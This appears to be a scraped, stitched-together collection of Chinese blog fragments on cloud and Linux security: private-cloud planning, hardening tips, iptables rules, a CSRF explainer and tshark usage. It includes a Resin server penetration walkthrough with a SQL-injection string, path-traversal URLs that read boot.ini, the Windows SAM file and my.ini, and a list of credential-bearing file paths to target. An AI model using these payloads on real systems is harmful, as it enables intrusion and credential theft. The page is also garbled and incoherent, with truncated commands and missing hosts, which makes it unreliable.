115云115 安全密钥钥忘了,文件打不开进不去,怎么办。

私有云架构设计(5)云安全规划-KVM虚拟化实践-微信文章聚合
&--------------------------------------------------------------------------------------版权所有:超图研究所()Blog: & &QQ群:宗旨:专注于&GIS+&前沿技术的研究与交流,将云计算技术、大数据技术、容器技术、物联网与GIS进行深度融合,探讨&GIS+&技术和行业解决方案转载说明:文章允许转载,但必须以链接方式注明源地址,否则追究法律责任!--------------------------------------------------------------------------------------题记自从云计算的出现,关于安全问题一直被质疑他的用户所企及,特别是中国用户,对安全问题更加关心,不过说实在的,中国用户可能连防火墙都不会开启还在不停的谈论安全问题,不过没有办法,自从有了斯诺登,安全对于互联网、计算机来说更加的重要,我们要感谢斯诺登,才有了国产化的迫切需求啊,扯得有点远了....以下引用@华为云计算的相关参考:云计算面临的安全威胁介绍基础设施安全(网络层次)更容易遭受网络攻击云计算必须基于随时可以接入的网络,便于用户通过网络接入,方便的使用云计算资源。云计算资源的分布式部署使路由、域名配置更加复杂,更容易遭受网络攻击,比如DNS攻击和DDoS攻击。对于IaaS,DDoS攻击不仅来自外部网络,也容易来自内部网络。隔离模型变化形成安全漏洞逻辑隔离代替物理隔离,使企业网原有的隔离产生安全漏洞。企业网络通常采用物理隔离等高安全手段保证不同安全级别的组织或部门的信息安全,但云计算采用逻辑隔离的手段隔离不同企业,以及企业内部不同的组织与部门。资源共享风险多租户共享计算资源带来的风险,包括隔离措施不当造成的用户数据泄漏、用户遭受相同物理环境下的其他恶意用户攻击;网络防火墙/IPS虚拟化能力不足,导致已建立的静态网络分区与隔离模型不能满足动态资源共享需求。基础设施安全(主机层次)Hypervisor的安全威胁Hypervisor为虚拟化的核心,可以捕获CPU指令,为指令访问硬件控制器和外设充当中介,协调所有的资源分配,运行在比操作系统特权还高的最高优先级上。一旦Hypervisor被攻击破解,在Hypervisor上的所有虚拟机将无任何安全保障,直接处于攻击之下。虚拟机的安全威胁虚拟机动态地被创建、被迁移,虚拟机的安全措施必须相应地自动创建、自动迁移。虚拟机没有安全措施或安全措施没有自动创建时,容易导致接入和管理虚拟机的密钥被盗、未及时打补丁的服务(FTP、SSH等)遭受攻击、弱密码或者无密码的帐号被盗用、没有主机防火墙保护的系统遭受攻击。基础设施安全(应用层次)基于云计算接口的开放性,基础设施提供商与应用的提供商很可能是不同的组织,应用软件也被云调度到不同的虚拟机上分布式运行,应用安全必须考虑基础设施与应用软件配合后的安全能力,如果配合不好,会产生很多安全漏洞。数据与存储主要涉及以下几个方面:静态数据的安全威胁数据处理过程的安全威胁数据线索的挑战剩余数据保护接入安全管理云计算支持海量的用户认证与接入,对用户的身份认证和接入管理的必须完全自动化,为提高认证接入管理的体验,需要云简化用户的认证过程。不过对于我们来讲,由于我们是在一些服务器来部署私有云环境,那么提到安全,首先想到的是宿主机的安全和虚拟机的安全,但是不管是什么角色,由于都是包含了操作系统,所以我们对操作系统的访问安全可能显得更加重要了。操作系统那么不管什么操作系统,我们可能需要关注的有几个因素:1、操作系统版本是否是稳定的?补丁是否能够打全?关键的安全补丁是否能够及时更新?该问题其实主要针对Linux操作系统,例如Ubuntu操作系统来说该操作系统一般在为N.04和N.10两个版本,一般情况下N是偶数而且为04版本是非常稳定,我们也称之为LTS,也就是长达5年的支持,所以选择这些版本是比较稳定和可靠的。当然,Ubuntu14.04也有相关的补丁,例如14.04.1,14.04.2,14.04.3等,尽可能选择最新补丁的版本当然,我们也曾经听说过2014年有一个严重的OpenSSH安全补丁,类似这些问题,我们都应该及其注意2、操作系统访问方式一般情况下,我们通常访问操作系统都是使用用户名和密码,当然我们可能设置非常高级的密码策略,例如密码位数,密码保护数字和字母,密码定期修改,密码输入三次自动锁定,这些都可以保证安全,当然更加安全的方式是设置固定的IP才能够访问,或者使用密钥对的方式来访问。3、服务器防火墙以及可访问端口一般情况下,服务器或者虚拟机的防火墙应该处于开启状态,而且我们可以设置用户可以访问的端口,这样也可以保证相关的安全。4、尽可能使用Https来代替http这个基本无需多说,连百度的首页访问都默认为https了。HTTPS可进行加密传输、身份认证,安全性高,有效避免数据传输过程中可能遇到被中断、复制、篡改、伪造、窃听和监视等威胁。当然还有更加需要注意的点:表1&Windows 2008操作系统基础安全加固基础安全加固项主要安全措施Linux操作系统进行基础的安全配置,基础安全配置的主要内容如下:关闭不必要的服务,如屏蔽Telnet服务和FTP服务。加固SSH的服务。控制文件和目录的访问权限。限制系统访问权限管理用户密码。记录操作日志。检测系统异常。&网络隔离当然,为了保证安全性,我们也可以使用私有云环境的虚拟网络隔离来加强安全例如OpenStack支持租户间的网络隔离,例如启用GRE模式通过设置租户内的内部网络,来隔离不同租户的访问,也是一个非常好的安全保障。硬件当然,曾经在云计算大会也听到了许多厂商发布了云环境的硬件加密所,由于专业不同,也不太了解深层次的技术,但是的确可以保证云环境下的安全。欢迎加入KVM社区QQ技术群:QQ群,99.99%纯技术交流气氛 QQ 2群:,加入密码大写KVM 千人VMWare技术交流群:,加入密码小写vm OpenNebula QQ群: 加入密码Nebula两千人OpenStack开发纯技术群:
加入密码novaCloudstack纯技术交流群:密码cs桌面云行业讨论:
加入密码大写VDIKVM虚拟化实践(kvm_virt) 查看原文
 文章为作者独立观点,
的最新文章
TcpDump可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。朋友圈分享,就有可能获得顶级容器大会门票。朋友们,感觉是时候说,Intel显卡设备(IGD)目前在qemu.git中可用了,而且将成为QEMU2.7发行版本的一部分。已经有了相当详细的文档,描述了两种模式,传统模式和通用直通模式,两者各有利弊。哪种模式更适合你取决于你的硬件。只想帮你达成小小心愿!为庆祝“KVM虚拟化实践”更名为“云技术实践”,特别精选了2016年以来,阅读量超过2000+的技术干货,并且送出价值90元的华章读书卡30张,凡是转发本篇文章到朋友圈,点赞超过30个,截图给北极熊,送一张读书卡,数量有限,送完为止。容器应用轻盈灵活,存储应该怎样与其匹配呢?本文节选自笔者参与编写的《软件定义存储:原理、实践与生态》一书,附容器存储技术沙龙信息(7月3日周日)。北京易思捷CEO
炙伦科技 CEO 朱俊
思杰中国 BD总监 Patrick Zhang
云端时代 总经理助理 秦川
曙光 解决方案中心首席云架构师 王永宁
广州辉远 CEO 章国锋
冰特 CEO 高宏亮峰会玩的开不开心,你的选择决定一切 | 十二星座峰会参会报名指南,这简直就是选择困难症的福音!1、搭建需证书认证的Docker私有仓库
2、搭建需证书加用户名密码认证的Docker私有仓库1. 直播APP开发过程中的那些坑
2. 揭秘魅族C++微服务框架技术内幕
3. 基于Raft算法构建分布式系统 TiKV
4. OpenResty 新特性和未来发展探索懒惰的 Linux 管理员的秘诀,了解如何减少管理集群的工作量必看,云架构师第一课!哪些应用,哪些数据应该放在云上,哪些应该留在本地?journald会锁定libvirt守护进行,限制日志记录级别,如果想监控debug级别日志,必须显式配置到“log_outputs"选项中,在众多的云服务中,如何选择适合自身业务发展需求的云服务,成为很多企业用户关心的头等大事,性能(Performance)和运维(Operation)作为云服务的关键环节,是用户比较关注的因素,也是我们今天将要探讨的话题。高扬,欢聚时代YY娱乐事业部资深大数据专家。有多年编程经验(多年日本和澳洲工作经验)和多年大数据架构设计与数据分析、处理经验,专注于大数据系统架构以及变现研究。OVM是国内首款、完全免费、企业级混合虚拟化管理平台,OVM-V1.0版本今天正式发布了,欢迎各方朋友下载安装体验。KVM超量使用一直是热门话题,前段时间发的文章:
群讨论:虚拟机能否使用32个CPU
又引去了群友的激烈讨论,本文为群友根据自己的经验总结投稿,感谢这位热心的群友!
欢迎更多的朋友投稿,将自己的经验发给大家,我们一起进步。KVM虚拟机也可以UEFI从2.1版开始,Linux内核有了能力(capability)的概念,即它打破了UNIX/LINUX操作系统中超级用户/普通用户的概念,由普通用户也可以做只有超级用户可以完成的工作.容器的盛宴加干货:
Azure中的容器支持
人人贷容器化实践之路
从容器看运维的演变
容器公司的产品迭代实践七牛架构师实践日-第十二期- 泛娱乐+直播技术最佳实践无PowerShell on Linux 旨在让用户使用相同的工具和相同的人力,在任何地方管理一切。初期它将支持 Ubuntu、Centos、Red Hat 以及 Mac OS X,未来还将支持更多平台。libvirt bug 报告方法
qemu bug 报告方法
Windows Virtio 报告方法中国首届桌面云沙龙
邀请十位CEO或者架构师
分享自己如何定义桌面云目前国内运维企业,能做到技术为王的很少,这是国情和行情决定的,不过你可以 以技术为台阶,寻求更宽广的发展。近日,UCloud云主机硬件热升级正式上线,包括CPU与内存均支持在线升级扩展。升级过程中云主机无需关机或重启,同时不会对主机上运行的应用和业务产生性能影响。主机支持热升级,犹如在F1大赛中,赛车无需进站停车即可加油。为促进更深入的业内同行技术交流,同时传播先进技术理念,日-13日,由CSDN重磅打造的互联网应用架构实战峰会、运维技术与实战峰会将在成都举行。公测版OVM: 将会推出新的虚拟化引擎Docker的支持,在OVM后续的版本中,我们将会陆续推出对Esxi、XenServer、Hyper-V的管理,真正的实现混合虚拟化统一管理,帮助你轻松掌控自己的云数据中心。从辩证角度看,任何事物都不可能是完美的,超融合是不是也存在一些问题或局限性呢?超融合有适用场景,但肯定不是普遍适用的。OpenStack生于美国,至今也只有6年光景,但它的发展速度超乎想象。作为应用交付领域领头羊的F5已经完成了和国内OpenStack厂商华为、EasyStack和UnitedStack集成。从LBaaS集成开始,已经在中国开了花,结了果。李佳禧,腾讯云Nosql产品线技术负责人一个偶然的机会,由于我的好奇,总算搞明白了点每天和我们息息相关的生活天文常识,分享给大家,估计很多人和我一样小白。Ovirt对接OpenStack的glance和neutron模块,从而实现Ovirt与OpenStack平台镜像和网络资源和服务的无缝对接和扩展。实践表明,SSAN+vSphere超融合架构可提供一体化的虚拟化/私有云解决方案,SSAN是一种绝好的替换VSAN方案。GNU计划(又称革奴计划),是由Richard Stallman(理查德·斯托曼)在日公开发起的自由软件集体协作计划。它的目标是创建一套完全自由的操作系统。GNU也称为自由软件工程项目。用户组是干什么的?
组织这些群目标是做云用户之间沟通的桥梁,在使用云遇到问题的时候,大家可以技术互助,互相探讨切磋使用技巧。本次的分享主要包含以下两个部分:
1. 大型端游如何走进G云?
2. 面对页游、手游,G云后端架构该如何?本文主要描述针对 OpenStack 云计算项目的企业级性能测试标准和性能测试实施的解决方案。这套标准和解决方案为 Openstack 云计算项目开发和部署的性能评估提供参考,为云系统的性能瓶颈排查和调优提供有效的依据。随着私有云管理软件(如ZStack)的普及,有越来越多的用户可以利用这些软件快速的搭建私有云平台。 不过在搭建私有云之前,大家都会想私有云环境中该如何进行网络规划? 是不是把所有的物理机都连接到交换机,给它们分配一个IP地址就好了呢?但是……慢慢你就明白,openstack是给系统工程师,网络工程师,和架构师最好的修行。让一个人从一个普通工程师变成了“系(系统)网(网络)架(架构)”全面发展的好工程师。重点介绍如何通过使用应用程序设计、开发流程和 IT 管理流程领域中的云计算最佳实践,让 IT 解决方案能够最大限度地发挥云计算的优势。第 1 部分将会研究云计算解决方案与传统 Web 应用程序有哪些不同。关于端口漏洞的,类似的还有前段时间的redis,现在是docker。端口无故的对外开放,本身就是一种风险。而且是无关的端口。此次的2375是有 docker swarm 远程api 开放的。完全可以对外禁止访问该端口。最近一直在想,做了这么多年IT,最终要做成什么样子?是继续钻研代码,誓把技术坐穿,成为顶尖程序员;
还是转做管理,尝试统筹和调度,跟认识的不认识的、喜欢的不喜欢的人推杯换盏?昨天,520KVM牵手Redis!kvm_virt分享在KVM虚拟化项目实施中的经验,讨论KVM技术热门文章最新文章kvm_virt分享在KVM虚拟化项目实施中的经验,讨论KVM技术您所在位置: &
&nbsp&&nbsp&nbsp&&nbsp
手机云安全认证关键技术的研究.pdf65页
本文档一共被下载:
次 ,您可全文免费在线阅读后下载本文档。
文档加载中...广告还剩秒
需要金币:200 &&
你可能关注的文档:
··········
··········
摘要 随着互联网的高速发展,云计算越来越受到业界的广泛关注和青睐。云计算是网格
计算、分布式计算、并行计算、效用计算、网络存储、虚拟化、负载均衡等传统计算机
和网络技术发展融合的产物。它除了将计算机资源进行了有机融合之外,更重要的是提
供了一种对资源进行高效管理的机制。 在某些方面,移动互联网与云计算的特点具有很大的相似,灵活性就是其中最为重
要的一点。最能够体现云计算在移动互联时代的突出表现这一特点的是:国内不少厂商
都已经加入到云计算移动终端的开发当中。云计算的移动终端,在某种程度上就是智能
手机中所谓的“云手机"。很多的企业已经开始应用云计算的服务,并且取得了一定
的效益,这让很多的企业在选择云服务的时候已经由原来的冷漠到现在的主动关注。但
是伴随着云计算带来的巨大机遇,也产生了一系列挑战性问题,安全性就是其中之一。 伴随着智能手机应用的增多,云计算已成为服务提供商的最佳选择,本文在对云计
算安全的研究基础上,从云计算的架构出发构建了基于云计算的手机接入认证方案,可
从理论上指导云计算在手机接入服务中的应用。 本文首先对从发展现状及趋势对云计算技术进行了简要的介绍,然后探讨了云计算
安全技术,分析了虚拟化技术、分布式文件系统的安全问题,及手机接入认证技术面临
的问题。接着对云计算架构进行了分析,在此基础上提出了手机云安全接入认证机制,
实现了认证算法,并对该机制进行了平台模拟仿真,演示和分析了仿真结果。 本文的写作初衷就是希望能将云计算的应用扩展到手机接入认证中,扩展其应用方
向。云计算的虚拟化、资源整合和
正在加载中,请稍后...‘Linux安全防护’ 分类的存档
先理解主被动的联接方式:
FTP协议有两种工作方式:PORT方式和PASV方式,中文意思为主动式和被动式。
Port:ftp server:tcp
21 &——client:dynamic
ftp server:tcp 20 ——&client:dynamic
Pasv模式:ftp server:tcp 21 &—-client:dynamic
ftp server:tcp dynamic &—-client:dynamic
PORT(主动)方式的过程是:客户端向服务器的FTP端口(默认是21)发送请求,服务器接受连接,建立一条命令链路。当需要传送数据时,客户端在命令链路上用PORT命令告诉服务器:“我打开了XXXX端口,你过来连接我”。于是服务器从20端口向客户端的XXXX端口发送连接请求,建立一条数据链路来传送数据。
PASV(被动)方式的连接过程是:客户端向服务器的FTP端口(默认是21)发送连接请求,服务器接受连接,建立一条命令链路。当需要传送数据时,服务器在命令链路上用PASV命令告诉客户端:“我打开了XXXX端口,你过来连接我”。于是客户端向服务器的XXXX端口发送连接请求,建立一条数据链路来传送数据。
#allow all ftp incoming connections
iptables -A INPUT -p tcp –dport 21 -m state –state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp –sport 21 -m state –state NEW,ESTABLISHED -j ACCEPT
# Enable active ftp transfers
iptables -A INPUT -p tcp –dport 20 -m state –state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp –sport 20 -m state –state ESTABLISHED -j ACCEPT
# Enable passive ftp transfers
iptables -A INPUT -p tcp –sport
–dport
-m state –state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp –sport
–dport
-m state –state ESTABLISHED,RELATED -j ACCEPT
Linux安全防护十招
http://blog.csdn.net/ctbinzi/article/details/8632691
系统安全性对于用户来说至关重要,Linux用户也不例外。笔者就自己使用Linux的经历,总结了一些增强Linux安全
防护的小窍门,在此介绍给大家。
1.为LILO增加开机口令
—-在/etc/lilo.conf文件中增加选项,从而使LILO启动时要求输入口令,以加强系统的安全性。具体设置如下:
—-boot=/dev/hda
—-map=/boot/map
—-install=/boot/boot.b
—-time-out=60 #等待1分钟
—-prompt
—-default=linux
—-password=
—- #口令设置
—-image=/boot/vmlinuz-2.2.14-12
—-label=linux
—-initrd=/boot/initrd-2.2.14-12.img
—-root=/dev/hda6
—-read-only
—-此时需注意,由于在LILO中口令是以明码方式存放的,所以还需要将
—-lilo.conf的文件属性设置为只有root可以读写。
—-# chmod 600 /etc/lilo.conf
—-当然,还需要进行如下设置,使
—-lilo.conf的修改生效。
—-# /sbin/lilo -v
2.设置口令最小长度和
—-最短使用时间
—-口令是系统中认证用户的主要手段,系统安装时默认的口令最小长度通常为5,但为保证口令不易被猜测攻击,
可增加口令的最小长度,至少等于8。为此,需修改文件/etc/login.defs中参数PASS_MIN_LEN。同时应限制口令使
用时间,保证定期更换口令,建议修改参数PASS_MIN_DAYS。
3.用户超时注销
—-如果用户离开时忘记注销账户,则可能给系统安全带来隐患。可修改/etc/profile文件,保证账户在一段时间
没有操作后,自动从系统注销。
—-编辑文件/etc/profile,在“HISTFILESIZE=”行的下一行增加如下一行:
—-TMOUT=600
—-则所有用户将在10分钟无操作后自动注销。
4.禁止访问重要文件
—-对于系统中的某些关键性文件如inetd.conf、services和lilo.conf等可修改其属性,防止意外修改和被普通
用户查看。
—-首先改变文件属性为600:
—-# chmod 600 /etc/inetd.conf
—-保证文件的属主为root,然后还可以将其设置为不能改变:
—-# chattr +i /etc/inetd.conf
—-这样,对该文件的任何改变都将被禁止。
—-只有root重新设置复位标志后才能进行修改:
—-# chattr -i /etc/inetd.conf
5.允许和禁止远程访问
—-在Linux中可通过/etc/hosts.allow 和/etc/hosts.deny 这2个文件允许和禁止远程主机对本地服务的访问。
通常的做法是:
—-(1)编辑hosts.deny文件,加入下列行:
—-# Deny access to everyone.
—-ALL:
—-则所有服务对所有外部主机禁止,除非由hosts.allow文件指明允许。
—-(2)编辑hosts.allow 文件,可加入下列行:
—-#Just an example:
—-ftp: 202.84.17.
—-则将允许IP地址为202.84.17.11和主机名为的机器作为Client访问FTP服务。
—-(3)设置完成后,可用tcpdchk检查设置是否正确。
6.限制Shell命令记录大小
—-默认情况下,bash shell会在文件$HOME/.bash_history中存放多达500条命令记录(根据具体的系统不同,默
认记录条数不同)。系统中每个用户的主目录下都有一个这样的文件。在此笔者强烈建议限制该文件的大小。
—-您可以编辑/etc/profile文件,修改其中的选项如下: HISTFILESIZE=30或HISTSIZE=30
7.注销时删除命令记录
—-编辑/etc/skel/.bash_logout文件,增加如下行:
—-rm -f $HOME/.bash_history
—-这样,系统中的所有用户在注销时都会删除其命令记录。
—-如果只需要针对某个特定用户,如root用户进行设置,则可只在该用户的主目录下修改/$HOME/.bash_history
文件,增加相同的一行即可。
8.禁止不必要的SUID程序
—-SUID可以使普通用户以root权限执行某个程序,因此应严格控制系统中的此类程序。
—-找出root所属的带s位的程序:
—-# find / -type f -print |less
—-禁止其中不必要的程序:
—-# chmod a-s program_name
9.检查开机时显示的信息
—-Linux系统启动时,屏幕上会滚过一大串开机信息。如果开机时发现有问题,需要在系统启动后进行检查,可输
入下列命令:
—-#dmesg &bootmessage
—-该命令将把开机时显示的信息重定向输出到一个文件bootmessage中。
10.磁盘空间的维护
—-经常检查磁盘空间对维护Linux的文件系统非常必要。而Linux中对磁盘空间维护使用最多的命令就是df和du了。
—-df命令主要检查文件系统的使用情况,通常的用法是:
—-#df -k
—-Filesystem 1k-blocks Used Available Use% Mounted on
—-/dev/hda3
—-du命令检查文件、目录和子目录占用磁盘空间的情况,通常带-s选项使用,只显示需检查目录占用磁盘空间的总计,
而不会显示下面的子目录占用磁盘的情况。
—-% du -s /usr/X11R6/*
&# /usr/X11R6/bin
—-1 /usr/X11R6/doc
&# /usr/X11R6/include
一次Resin服务器测试实例
/Article/33.html
记得有次面试,考官问道“你认为对Resin服务器发动攻击有难度吗?如果是你,会利用什么攻击方法呢?” ,很具体的技术细节,还记得回答是,“我认为针对Resin攻击是很容易的,当然要视具体的安全状况而定,完全的因人环境而异,如果是我选择对Resin对进行攻击,我会根据版本的漏洞列表,进行测试攻击。”考官一笑而过,估计给雷倒了。Resin提供了最快的jsp/servets运行平台。在Java和JavaScrip的支持下,Resin可以为任务灵活选用合适的开发语言,Resin的一种先进的语言XSL(xml stylesheet language)可以使得形式和内容相分离。Resin以其良好的速度正在受到许多商业站点的欢迎。但其安全性却往往让人遗忘。
2 漏洞分析
正如老先生所说的,“世上本无路,走的人多也就成了路”,在漏洞面前来理解大概就能这样说了“世上本无漏洞,挖掘人多也就有了”,细数Resin漏洞如下:
Caucho Resin多个远程信息泄露漏洞
Caucho Resin viewfile远程文件及路径泄露漏洞
Caucho Technology Resin源代码和目录列表泄露漏洞
Caucho Technology Resin Server设备名远程路径泄露漏洞
Caucho Resin WEB服务器程序远程路径泄露漏洞
Caucho Technology Resin服务程序远程拒绝服务攻击漏洞
Caucho Technology Resin 目录遍历漏洞
Caucho Technology Resin 1.2 jsp 源码泄漏
从上面可以看出来,多数是文件和目录泄漏洞,在日常管理和安全设置能更有针对性,防止敏感信息泄露,无论是攻防都应该从以下方面去考虑:
1) 数据库的敏感信息泄漏
2) 操作系统的敏感信息泄漏
3) 脚本的敏感信息泄漏
4) Resin的敏感信泄漏
所以说,有针对性的研究和总结应用的漏洞,在攻防的角度,都具有很实际的价值。作为一个渗透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在获取系统信息,一般用telnet或mstsc简单测试,或者常规扫描器,比如X-Scan、天镜、榕基。
看来没有前人种的小黄瓜了,完全是出于对人品的测试。
脚本信息获取
对WEB服务刺探,常用扫描器有wwwscan、wvs、appscan等,了解主机上的网站架构和网站目录是很关键的一步。对主机的80、8080端口刺探。
#wwwscan.exe
-p 8080 -m 10 -t 16
80端口居然什么都没有返回呀,访问目录:
看来系统管理员相当的自信喽!人品测试继续,分析一下返回的数据包:
由图可知:Resin的版本是3.0.21
对主机的另一个网站进行目录扫描,有点结果了。有个“admin_manage”目录存在,进入口进行注入行测试,提交“admin’ or ‘’=’”,结果却暴露其路径“D:webtestadmin_manageincludehead.php”。
在php配置时,去除错误调试,用到的参数是display_errors,这个参数主要是帮助开发者定位和确定程序错误,直接修改php.ini文件,设置display_errors=Off。
数据库信息获取
针对数据库的探测,快速的方法有特定端口扫描、手工探测。当然也有常规的针对数据库的扫描工具不在本文的讨论范围。
一般数据库都自己特定的端口,比如mysql的3306、mssql的1433等,命令如下:
#nc –wl 3306
手工探测最多用的大概是通过向网页提交畸形数据导致数据库直接暴错,根据返回的错误信息进行确认。另一种方法,就是通知各个数据库注释符的不一致来判别。
比如“;”“–”“/*”。
信息综合分析
通过上次的信息综合整理可得:
系统:windows 2003
数据库:mysql
Apache:2.2.6
主机上其中有使用php架设的站点,其路径是:
D:webrootadmin_manageincludehead.php攻击测试
信息泄漏漏洞
在2007年时候,Resin暴出远程信息泄露漏洞,其公告如下:
影响版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for windows实现上存在多个漏洞,远程攻击者可能利用此漏洞非授权获取敏感信息。Resin没有正确过滤通过URL传送的输入,允许远程攻击者通过在URL中提供有任意扩展名的DOS设备文件名从系统上的任意COM或LPT设备读取连续的数据流、通过目录遍历攻击泄露Web应用的WEB-INF目录中的文件内容,或通过包含有特殊字符的URL泄露到Caucho Resin服务器的完整系统路径。Resin的某个cgi程序实现上存在输入验证漏洞,远程攻击者可能利用此漏洞读取Web主目录下的任意文件,包括jsp源码或类文件。viewfile servlet可以无需参数在Web主目录中浏览任意文件。
3.5.1.2 测试过程
通过漏洞的描述可以知道,在漏洞利用需要特殊字符,“../”的字符,或者利用viewfile servlet来对系统文件操作。测试提交URL:
..web-inf/
列出了,Web-inf目录的文件,直接下class文件进行反Java文件。
介绍一个反Javar 的工具“Java Decompiler”,它由C++开发,支持对整个jar,Javar的编译。
介绍一个反Javar 的工具“Java Decompiler”,它由C++开发,支持对整个jar,Javar的编译。如图:
在编译后,没有发现敏感信息,直接用viewfile去读取目录下的主文件:
提交URL如下:
/Resin-doc/viewfile/?file=index.Jsp
读取目录下的index.Jsp文件。
按程序的逻辑读取源文件,居然也没有发现敏感信息。继续去读取系统文件试试。
提交URL,读取系统文件:
/Resin-doc/viewfile/?contextpath=C:&servletpath=&file=boot.ini
居然成功了。再来读取系统文件,提交URL如下:
/Resin-doc/viewfile/?contextpath=C:windowssystem32&servletpath=&file=cmd.exe
可以依次对敏感文件进行读取测试,一般的默认路径有:
c:mysqldatamysqluser.MYD //存储了mysql.user表中的数据库连接密码
c:Serv-UServUDaemon.ini //存储了网站路径和密码
c:Program FilesServ-UServUDaemon.ini
c:windowsmy.ini //MYSQL配置文件
c:windowssystem32inetsrvMetaBase.xml //IIS配置文件c:windows epairsam //存储了WINDOWS系统初次安装的密码
c:Program Files Serv-UServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:ServUDaemon.exe
C:Documents and SettingsAll UsersApplication DataSymantecpcAnywhere*.cif文件
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/f //的配置文件
/etc/redhat-release //版本
/etc/issue
/etc/issue.net
依次提交语句如下:
/Resin-doc/viewfile/?contextpath=c: epair&servletpath=&file=sam
/Resin-doc/viewfile/?contextpath=c:windows&servletpath=&file=my.ini
终于获取了些敏感信息了。当然直接读取另一个网站的源代码也是可以的。
提交读取语句:
No related posts.
Rece pam_unix(sshd:auth): au
/linux/security/.html
pam_unix(sshd:auth): au logname= uid=0 euid=0 tty=ssh ruser= rhost= user=root
vi /etc/hosts.deny
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the ‘/usr/sbin/tcpd’ server.
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow. In particular
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the ‘/usr/sbin/tcpd’ server.
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow. In particular
# you should know that NFS uses portmap!
sshd: 195.144.226.76
sshd: 85.114.135.81
sshd: 58.251.56.233
sshd: 121.10.243.25
sshd: 71.91.140.118
sshd: 200.170.216.219
sshd: 58.49.104.164
sshd: 217.172.182.194
sshd: 222.82.250.164
sshd: 112.90.144.218
sshd: 113.105.159.162
sshd: 81.74.83.210
sshd: 66.11.123.195
sshd: 122.183.91.87
sshd: 125.90.88.153
sshd: 218.246.125.130
sshd: 83.166.144.15
sshd: 208.94.99.138
sshd: 186.115.4.27
sshd: 210.51.59.71
sshd: 116.55.227.91
sshd: 61.187.56.27
sshd: 217.172.180.219
sshd: 173.15.144.194
sshd: 81.19.4.152
sshd: 218.80.254.142
sshd: 65.75.128.151
sshd: 180.171.34.213
sshd: 178.162.151.212
sshd: 61.19.242.52
sshd: 61.219.69.10
sshd: 117.79.82.91
sshd: 221.7.196.68
sshd: 188.138.24.146
sshd: 66.197.161.21
sshd: 119.149.189.52
sshd: 49.212.7.205
sshd: 213.229.99.131
sshd: 188.138.16.254
sshd: 121.28.179.10
No related posts.
CSRF 是什么?
Cross-site request forgery 跨站请求伪造,也被称为 “one click attack” 或者 session riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站。
CSRF 攻击类似 XSS 攻击,都是在页面中嵌入特殊部分引诱或强制用户操作从而得到破坏等的目的,区别就是迫使用户 访问特定 URL / 提交表单 还是执行 javascript 代码。
为什么叫 跨站请求 攻击?
从字面意思就可以理解:当你访问
黑客页面的时候,页面上放了一个按钮或者一个表单,URL/action 为 /delete-myself,这样引导或迫使甚至伪造用户触发按钮或表单。在浏览器发出 GET 或 POST 请求的时候,它会带上
的 cookie,如果网站没有做 CSRF 防御措施,那么这次请求在
看来会是完全合法的,这样就会对
的数据产生破坏。
如何防止 CSRF ?
CSRF 主流防御方式是在后端生成表单的时候生成一串随机 token ,内置到表单里成为一个字段,同时,将此串 token 置入 session 中。每次表单提交到后端时都会检查这两个值是否一致,以此来判断此次表单提交是否是可信的。提交过一次之后,如果这个页面没有生成 CSRF token ,那么 token 将会被清空,如果有新的需求,那么 token 会被更新。
攻击者可以伪造 POST 表单提交,但是他没有后端生成的内置于表单的 token,session 中有没有 token 都无济于事。
CSRF 攻击的对象
在讨论如何抵御 CSRF 之前,先要明确 CSRF 攻击的对象,也就是要保护的对象。从以上的例子可知,CSRF
攻击是黑客借助受害者的 cookie 骗取服务器的信任,但是黑客并不能拿到 cookie,也看不到 cookie
的内容。另外,对于服务器返回的结果,由于浏览器同源策略的限制,黑客也无法进行解析。因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。所以,我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行
CSRF 的保护。比如银行系统中转账的请求会直接改变账户的金额,会遭到 CSRF
攻击,需要保护。而查询余额是对金额的读取操作,不会改变数据,CSRF 攻击无法解析服务器返回的结果,无需保护。
/developerworks/cn/web/1102_niugang_csrf/
由此,GET 請求不需要 CSRF Token(因爲寫操作不應該用 GET),POST 請求在執行寫操作時依舊需要 CSRF Token。
Linux命令行抓包及包解析工具tshark(wireshark)使用实例解析
https://www.centos.bz/2014/07/linux-commandline-capture-packets-tshark-wireshark/
在Linux下,当我们需要抓取网络数据包分析时,通常是使用tcpdump抓取网络raw数据包存到一个文件,然后下载到本地使用wireshark界面网络分析工具进行网络包分析。
最近才发现,原来wireshark也提供有Linux命令行工具-tshark。tshark不仅有抓包的功能,还带了解析各种协议的能力。下面我们以两个实例来介绍tshark工具。
1、安装方法
CentOS: yum install -y wireshark
Ubuntu: apt-get install -y tshark
2、实时打印当前http请求的url(包括域名)
tshark -s 512 -i eth0 -n -f ‘tcp dst port 80’ -R ‘http.host and http.request.uri’ -T fields -e http.host -e http.request.uri -l | tr -d ‘\t’
下面介绍参数含义:
-s 512 :只抓取前512个字节数据
-i eth0 :捕获eth0网卡
-n :禁止网络对象名称解析
-f ‘tcp dst port 80′ :只捕捉协议为tcp,目的端口为80的数据包
-R ‘http.host and http.request.uri’ :过滤出http.host和http.request.uri
-T fields -e http.host -e http.request.uri :打印http.host和http.request.uri
